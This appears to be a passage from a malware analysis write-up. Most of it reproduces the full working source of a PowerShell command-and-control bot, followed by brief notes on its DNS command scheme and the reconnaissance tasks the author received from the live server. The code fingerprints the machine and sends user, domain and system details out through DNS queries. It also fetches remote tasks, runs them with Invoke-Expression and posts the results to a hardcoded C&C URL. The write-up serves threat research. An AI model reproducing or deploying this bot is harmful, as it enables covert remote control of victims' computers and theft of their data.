{int i=m,j=0;while(i!=j)
{if(r.digits[i+k]!=dq.digits[i])
j=i;else i--;}
if(r.digits[i+k] postParameters)
    {
        string formDataBoundary = String.Format("----------{0:N}", Guid.NewGuid());
        string contentType = "multipart/form-data; boundary=" + formDataBoundary;

        byte[] formData = GetMultipartFormData(postParameters, formDataBoundary);

        return PostForm(postUrl, userAgent, contentType, formData);
    }
    private static HttpWebResponse PostForm(string postUrl, string userAgent, string contentType, byte[] formData)
    {
        HttpWebRequest request = WebRequest.Create(postUrl) as HttpWebRequest;

        if (request == null)
        {
            throw new NullReferenceException("request is not a http request");
        }

        // Set up the request properties.
        request.Method = "POST";
        request.ContentType = contentType;
        request.UserAgent = userAgent;
        request.CookieContainer = new CookieContainer();
        request.ContentLength = formData.Length;

        // You could add authentication here as well if needed:
        // request.PreAuthenticate = true;
        // request.AuthenticationLevel = System.Net.Security.AuthenticationLevel.MutualAuthRequested;
        // request.Headers.Add("Authorization", "Basic " + Convert.ToBase64String(System.Text.Encoding.Default.GetBytes("username" + ":" + "password")));

        // Send the form data to the request.
        using (Stream requestStream = request.GetRequestStream())
        {
            requestStream.Write(formData, 0, formData.Length);
            requestStream.Close();
        }

        return request.GetResponse() as HttpWebResponse;
    }

    private static byte[] GetMultipartFormData(Dictionary postParameters, string boundary)
    {
        Stream formDataStream = new System.IO.MemoryStream();
        bool needsCLRF = false;

        foreach (KeyValuePair param in postParameters)
        {
            // Thanks to feedback from commenters, add a CRLF to allow multiple parameters to be added.
            // Skip it on the first parameter, add it to subsequent parameters.
            if (needsCLRF)
                formDataStream.Write(encoding.GetBytes("\r\n"), 0, encoding.GetByteCount("\r\n"));

            needsCLRF = true;
            string postData = string.Format("--{0}\r\nContent-Disposition: form-data; name=\"{1}\"\r\n\r\n{2}",
                boundary,
                param.Key,
                param.Value);
            formDataStream.Write(encoding.GetBytes(postData), 0, encoding.GetByteCount(postData));
        }

        // Add the end of the request.  Start with a newline
        string footer = "\r\n--" + boundary + "--\r\n";
        formDataStream.Write(encoding.GetBytes(footer), 0, encoding.GetByteCount(footer));

        // Dump the Stream into a byte[]
        formDataStream.Position = 0;
        byte[] formData = new byte[formDataStream.Length];
        formDataStream.Read(formData, 0, formData.Length);
        formDataStream.Close();

        return formData;
    }
}
"@

if (-not ([System.Management.Automation.PSTypeName]'X.BigInteger').Type) {
    Add-Type -TypeDefinition $biginteger -Language CSharp
}
if (-not ([System.Management.Automation.PSTypeName]'FormUpload').Type) {
    Add-Type -TypeDefinition $form -Language CSharp
}

function ConvertTo-Dictionary
{
    #requires -Version 2.0

    [CmdletBinding()]
    param (
        [Parameter(Mandatory = $true, ValueFromPipeline = $true)]
        [hashtable]
        $InputObject,

        [Type]
        $KeyType = [string]
    )

    process
    {
        $outputObject = New-Object "System.Collections.Generic.Dictionary[[$($KeyType.FullName)],[Object]]"

        foreach ($entry in $InputObject.GetEnumerator())
        {
            $newKey = $entry.Key -as $KeyType

            if ($null -eq $newKey)
            {
                throw 'Could not convert key "{0}" of type "{1}" to type "{2}"' -f
                      $entry.Key,
                      $entry.Key.GetType().FullName,
                      $KeyType.FullName
            }
            elseif ($outputObject.ContainsKey($newKey))
            {
                throw "Duplicate key `"$newKey`" detected in input object."
            }

            $outputObject.Add($newKey, $entry.Value)
        }

        Write-Output $outputObject
    }
}



function Pick-Domain {
    param([array]$DomainList)
    if ($DomainList.count -eq 1) {
        return $DomainList
    }
    return $DomainList[(Get-Random -Maximum ([array]$DomainList).count)]
}

function Identify-Machine() {
    $serial = Get-WmiObject Win32_BIOS | Select -ExpandProperty SerialNumber
    $md5 = new-object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider
    $hash = ($md5.ComputeHash([system.Text.Encoding]::UTF8.GetBytes($serial)) |  foreach { $_.ToString("X2") }) -join ""

    return $hash.Substring(0, 10)
}

function Try-Domains {
    [CmdletBinding()]
    param([Parameter(ValueFromPipeline=$True)][array]$DomainList, [scriptblock]$Action)

    if ((-not $DomainList) -or ($DomainList.count -eq 0) -or ($retryCount -eq 0)) {
        Throw "No domains"
    }

    $domain = Pick-Domain $DomainList
    try {
        return &$Action -Domain $domain
    } catch {
        $retryCount--
        return Try-Domains ([array]($DomainList)) $Action # | Where-Object { $_ –ne $domain }
    }
}

function Do-DNS-A {
    [CmdletBinding()]
    param([Parameter()]$dns)

    Write-Debug "[DNS] (A) ==> ${dns}"
    $data = nslookup -type=a $dns 2>&1
    $regexp = [regex] "\s*$dns(.localdomain)*\s*Address(es)*:\s*([\d\.]*)"
    $match = $regexp.Match($data)
	$countNow = 0
    while ((-not $match.Success) -and ($countNow -ne $retryCountDoDns)) {
		Start-Sleep -s 5
        $data = nslookup -type=a $dns 2>&1
		$regexp = [regex] "\s*$dns(.localdomain)*\s*Address(es)*:\s*([\d\.]*)"
		$match = $regexp.Match($data)
		$countNow = $countNow + 1
    }
	if ((-not $match.Success)) {
		return 0
	}
    return $match.Groups[3].Value
}

function Do-DNS-TXT {
    [CmdletBinding()]
    param([Parameter()]$dns)

    Write-Debug "[DNS] (TXT) ==> ${dns}"
    $data = nslookup -type=txt $dns 2>&1
    $regexp = [regex] '("[^\s]*"\s*)+'
    $matches = $regexp.Matches($data)
	$countNow = 0
	while (($matches.count -eq 0) -and ($countNow -ne $retryCountDoDns)) {
		Start-Sleep -s 5
        $data = nslookup -type=txt $dns 2>&1
		$regexp = [regex] '("[^\s]*"\s*)+'
		$matches = $regexp.Matches($data)
		$countNow = $countNow + 1
    }
    if ($matches.count -eq 0) {
        return 0
    }
    return ($matches | Select -ExpandProperty Value) -join '' -replace '"' -replace '`n' -replace ' '
}

function Get-DecompressedString {

	[CmdletBinding()]
    Param (
		[Parameter(Mandatory=$True,ValueFromPipeline=$True,ValueFromPipelineByPropertyName=$True)]
        [byte[]] $byteArray = $(Throw("-byteArray is required"))
    )
	Process {
	    Write-Verbose "Get-DecompressedByteArray"

        $ms = New-Object System.IO.MemoryStream
        $ms.Write($byteArray, 0, $byteArray.Length)
        $null = $ms.Seek(0,0)

        $cs = New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress)
        $out = New-Object System.IO.MemoryStream
        $sr = New-Object System.IO.StreamReader($cs, [system.Text.Encoding]::UTF8)
        Write-Output $sr.readtoend();
    }
}

function Decode-String {
    [CmdletBinding()]
    param([Parameter(ValueFromPipeline=$True)]$Code)
	if ($Code -eq 0) {
		return 0
	}
    $gzipBytes = [System.Convert]::FromBase64String($Code)
    return Get-DecompressedString($gzipBytes)
}

function Encode-Base58{
    [CmdletBinding()]
    param([Parameter()]$bytes)

    $base58digits = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"

    # get big int representation
    $dBig = New-Object X.BigInteger 0
    $bytes | %{ $dBig = $dBig * 256 + $_ }

    # combine into string
    $result = [System.String]::Empty
    while ($dBig -gt 0) {
        $rem = ($dBig % 58).ToInt()
        $dBig /= 58
        $result = $base58digits[$rem] + $result
    }
    foreach ($b in $bytes) {
        if ($b -ne 0) { break }
        $result = '1' + $result
    }

    return $result
}

function Encode-Data{
    [CmdletBinding()]
    param([Parameter()]$data)

    $bytes = [system.Text.Encoding]::UTF8.GetBytes($data)
    $b58bytes = Encode-Base58 $bytes

    $split = ([regex]::matches($b58bytes, '.{1,63}') | %{$_.value}) -join '.'

    return $split
}

function Encode-HTTP-Data {
    [CmdletBinding()]
    param([Parameter()]$data)

    $bytes = [system.Text.Encoding]::UTF8.GetBytes($data)
    return [System.Convert]::ToBase64String($bytes)
}

# =============================================================================

function Register-Bot {
    [CmdletBinding()]
    param([Parameter()]$DomainList)

    $regSuccess = Try-Domains $DomainList {
        return Do-DNS-TXT "$(Identify-Machine).add.$domain"
    }
    if ($regSuccess -ne "1") {
        throw "Bad registration"
    }
}
function Exec-Timeout {
    [CmdletBinding()]
    param([Parameter(ValueFromPipeline=$True)][string]$command)
    $timeoutSeconds = 10
    Write-Host $command
    $val = "failure"
    $code = {
        param($c)
        Invoke-Expression $c
    }
    $j = Start-Job -ScriptBlock $code -ArgumentList $command
    if (Wait-Job $j -Timeout $timeoutSeconds) {
        $val = Receive-Job $j
    }
    Remove-Job -force $j
    return $val
}
function Execute-Dict {
    [CmdletBinding()]
    param([Parameter(ValueFromPipeline=$True)]$Data)

    $output = @{}
    $Data.GetEnumerator() | % {
        $val = try { Exec-Timeout $_.value } catch { "Failure" }
        $output[$_.key] = $val
    }
    return $output
}

function Do-Bad-Job {
    [CmdletBinding()]
    param([Parameter()]$DomainList, [Parameter()]$Data)

    Execute-Dict $Data | %{$_.GetEnumerator()} | %{
        try {
            $letter = $_.key
            $sdata = $_.value
            $enc = Encode-Data $sdata
            Write-Debug "[General data] ${letter}: ${sdata} => ${enc}"

            Try-Domains $DomainList {
                $response = Do-DNS-A "${enc}.${letter}.$(Identify-Machine).i.$domain" #| Select -ExpandProperty IPAddress
                if ($response -ne '1.1.1.1') {
                    Throw 'Bad response 3'
                }
            }
        } catch {
            Write-Debug "[General data] Unable to send ${letters} --> $($error[0])"
        }
    }

    Write-Debug "[General data] Complete"
}
function Read-Mode {
    [CmdletBinding()]
    param([Parameter()]$DomainList)

    return Try-Domains $DomainList {
        return Do-DNS-TXT "$(Identify-Machine).mx1.$domain"
    }
}

function Get-WWW-PS {
    [CmdletBinding()]
    param([Parameter()]$DomainList)

    return Try-Domains $DomainList {
        return Do-DNS-TXT "$(Identify-Machine).www.$domain" | Decode-String
    }
}
function ConvertTo-Json20([object] $item){
    try{
        add-type -assembly system.web.extensions
        $ps_js=new-object system.web.script.serialization.javascriptSerializer
        return $ps_js.Serialize($item)
    } catch {
        Write-Host "Exception on json encode"
    }
}
function ConvertFrom-Json20([object] $item){
    add-type -assembly system.web.extensions
    $ps_js=new-object system.web.script.serialization.javascriptSerializer

    #The comma operator is the array construction operator in PowerShell
    return ,$ps_js.DeserializeObject($item)
}
function Escape-JSONString($str){
  if ($str -eq $null) {return ""}
  $str = $str.ToString().Replace('"','''').Replace('\','/').Replace("`n",'\n').Replace("`r",'\r').Replace("`t",'\t')
  return $str;
}

function ConvertTo-JSON($maxDepth = 4,$forceArray = $false) {
	begin {
		$data = @()
	}
	process{
		$data += $_
	}

	end{

		if ($data.length -eq 1 -and $forceArray -eq $false) {
			$value = $data[0]
		} else {
			$value = $data
		}

		if ($value -eq $null) {
			return "null"
		}



		$dataType = $value.GetType().Name

		switch -regex ($dataType) {
	            'String'  {
					return  "`"{0}`"" -f (Escape-JSONString $value )
				}
	            '(System\.)?DateTime'  {return  "`"{0:yyyy-MM-dd}T{0:HH:mm:ss}`"" -f $value}
	            'Int32|Double' {return  "$value"}
				'Boolean' {return  "$value".ToLower()}
	            '(System\.)?Object\[\]' { # array

					if ($maxDepth -le 0){return "`"$value`""}

					$jsonResult = ''
					foreach($elem in $value){
						#if ($elem -eq $null) {continue}
						if ($jsonResult.Length -gt 0) {$jsonResult +=', '}
						$jsonResult += ($elem | ConvertTo-JSON -maxDepth ($maxDepth -1))
					}
					return "[" + $jsonResult + "]"
	            }
				'(System\.)?Hashtable' { # hashtable
					$jsonResult = ''
					foreach($key in $value.Keys){
						if ($jsonResult.Length -gt 0) {$jsonResult +=', '}
						$jsonResult +=
@"
	"{0}": {1}
"@ -f $key , ($value[$key] | ConvertTo-JSON -maxDepth ($maxDepth -1) )
					}
					return "{" + $jsonResult + "}"
				}
	            default { #object
					if ($maxDepth -le 0){return  "`"{0}`"" -f (Escape-JSONString $value)}

					return "{" +
						(($value | Get-Member -MemberType *property | % {
@"
	"{0}": {1}
"@ -f $_.Name , ($value.($_.Name) | ConvertTo-JSON -maxDepth ($maxDepth -1) )

					}) -join ', ') + "}"
	    		}
		}
	}
}


#"a" | ConvertTo-JSON
#dir \ | ConvertTo-JSON
#(get-date) | ConvertTo-JSON
#(dir \)[0] | ConvertTo-JSON -maxDepth 1
#@{ "asd" = "sdfads" ; "a" = 2 } | ConvertTo-JSON
function Send-HTTP-Data {
    [CmdletBinding()]
    param([Parameter()]$DomainList, [Parameter()]$data)

    # encode data
    Write-Host "Start send http"
    Write-Host "Data: $data"
    $encdata = $data | ConvertTo-JSON #Encode-HTTP-Data $data
    $dataToSend = @{'hwid' = $(Identify-Machine); 'data' = $encdata }# | ConvertTo-JSON
    Write-Host $dataToSend
    return Try-Domains $DomainList {
        #$url = "http://$(Identify-Machine).http.$domain"
        $url = "http://ns0.pw/index.php?r=bot-result/index"
        $ua = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"

        Write-Host "[HTTP] ===> $url"
        try {
            # $d = ConvertTo-Dictionary $dataToSend | ConvertTo-JSON
            $dataToSend = $dataToSend | ConvertTo-Dictionary -KeyType String
            $response = [FormUpload]::MultipartFormDataPost($url, $ua, $dataToSend) #, $dataToSend
            $reader = New-Object System.IO.StreamReader($response.GetResponseStream())
            Write-Debug "[HTTP] Finished"
            return $reader.ReadToEnd()
        } catch {
            Write-Host "Exception send http"
            Write-Host $Error[0]
        }
    }
}
function Main-Loop {
    [CmdletBinding()]
    param([Parameter()]$DomainList)

    while (1) {
        try {
            # get mode
            $mode = Read-Mode $domains
            $interval = 0
            Write-Host $mode
            switch ($mode){
                '3' { break }
                '0' { $interval = 5*60 }
                '1' { $interval = 12*60*60 }
            }
            Write-Host $interval
        } catch {
            Write-Host "Error check mode!!!"
            Write-Host $Error[0]

        }

        try {
            # NO www=exit HANDLING
            $data = Get-Tasks $DomainList
            Write-Host $data
            $taskType = ''
            $data_new = @{}
            $sdata = ConvertFrom-Json20 $data #| ConvertTo-Dictionary

            foreach ($itemKey in $sdata.Keys) {
                if ($itemKey -ne 'taskType' ) {
                    $data_new[$itemKey] = $sdata[$itemKey]
                } else {
                    $taskType = $sdata[$itemKey]
                }
            }

            $data = Execute-Dict $data_new
            Write-Host "Dict exec ok"

            $data['taskType'] = $taskType
            Write-Debug "[Main-Loop] Data: ${data}"
            # convert to dictionary if not a dictionary
            if ($data -isnot [System.Collections.HashTable]){
                $data = @{'response'=$data}
            }

            # if not OK code -- exception
            try{
                Write-Host "Try send"
                $a = Send-HTTP-Data $DomainList $data
                Write-Host $a
            } catch {
                Write-Host "Is no domains? $Error[0]"
            }
        } catch {
            Write-Debug "[Main-Loop] Execution crashed"
            Write-Host $Error[0]

        }
        Write-Debug "[Main-Loop] Start sleeping for ${interval}s"
        Start-Sleep -s $interval

    }
}
function Get-Tasks {
    [CmdletBinding()]
    param([Parameter(ValueFromPipeline=$True)]$DomainList)
    return Download-Big-TXT $DomainList "www" | Decode-String
}

$baseData = @{
    'u'='$env:username'
    'd'='$env:userdomain'
    'o'='Get-WmiObject Win32_OperatingSystem | Select -ExpandProperty Caption'
    'h'='hostname'
    'a'='1'
    'org'='Get-WmiObject Win32_OperatingSystem | Select -ExpandProperty Organization | %{if ([string]::IsNullOrEmpty($_)) {"NoOrg"} else {$_}}'
    'arc'='Get-WmiObject Win32_OperatingSystem | Select -ExpandProperty OSArchitecture'
}
try{
    [Console]::OutputEncoding = [system.Text.Encoding]::UTF8
} catch {
    Write-Host $Error[0]
}
try {
    # register bot
    Register-Bot $domains
    # send data
    Do-Bad-Job $domains $baseData
    # enter main loop
    Main-Loop $domains
} catch {
    Write-Debug "Error: "
    Write-Debug $Error[0]
}

The result is just your typical C&C bot code, still using the same C&C servers mentioned in the Talos Intelligence blog.

A different structure of DNS records is being used for different commands. Instead of the hardcoded “stage” string to make up the URL (such as AAAAAAAAAA.stage.0.ns0.pw), we now have “add” (register bot), “mx1” (get ‘mode’), and “www” (get tasks). Exfiltration appears to be done via a web form hardcoded to the url: hxxp://ns0[.]pw/index[.]php?r=bot-result/index

I registered a “fake bot” to see what the initial list of tasks were. The first list of tasks were:

{"taskType": "fullinfo", "24": "tasklist /v", "25": "wmic process get caption,commandline,processid", "26": "wmic process get caption,commandline,processid", "27": "wmic logicaldisk get caption,description,drivetype,providername,volumename", "21": "netsh fire
wall show state", "22": "netsh firewall show config", "23": "schtasks /query /fo LIST /v", "28": "tasklist /SVC", "29": "net start", "1": "systeminfo", "2": "echo %username% %userprofile%", "5": "whoami /all", "4": "hostname", "7": "net user", "12": "net use"
, "15": "wmic startup list brief", "14": "wmic share list brief", "17": "route print", "16": "ipconfig /all", "19": "netstat -anop tcp", "18": "arp -A", "31": "wmic qfe get Description,HotFixID,InstalledOn", "30": "driverquery", "32": "cd %ProgramFiles% & dir
 & cd %ProgramFiles(x86)% & dir"}

So just typical information gathering commands.

I’ll let other do more analysis if desired, just wanted to provide additional information